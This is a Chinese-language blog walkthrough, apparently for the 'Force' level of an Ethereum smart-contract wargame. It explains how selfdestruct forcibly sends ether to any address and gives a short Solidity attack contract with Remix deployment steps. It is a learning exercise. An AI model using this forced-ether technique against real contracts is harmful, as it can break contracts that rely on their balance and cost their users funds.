7. Force

本關基本上不是很了解以太坊內部機制的很難一時之間想到答案,但要是知道答案了就很簡單,就是使用selfdestruct把以太幣強行送進合約。selfdestruct(address payable recipient)這個函數會在移除呼叫合約的同時強行把當前合約剩餘的以太幣傳送到指定地址,不論該地址有否定義payable或fallback。

首先打開Console (F12),輸入

> instance

下方會回傳當前關卡合約地址。

然後打開Remix IDE,新建檔案Force.sol貼上:

contract Force {
    address payable levelInstance;

    constructor(address payable _levelInstance) {
        levelInstance = _levelInstance;
    }

    function give() public payable {
        selfdestruct(levelInstance);
    }
}

在constructor填入關卡合約地址後發佈。

Remix IDE中,呼叫give函數,同時value傳入1 wei。最後按提交,本關完成。

發表留言

%d 位部落客按了讚: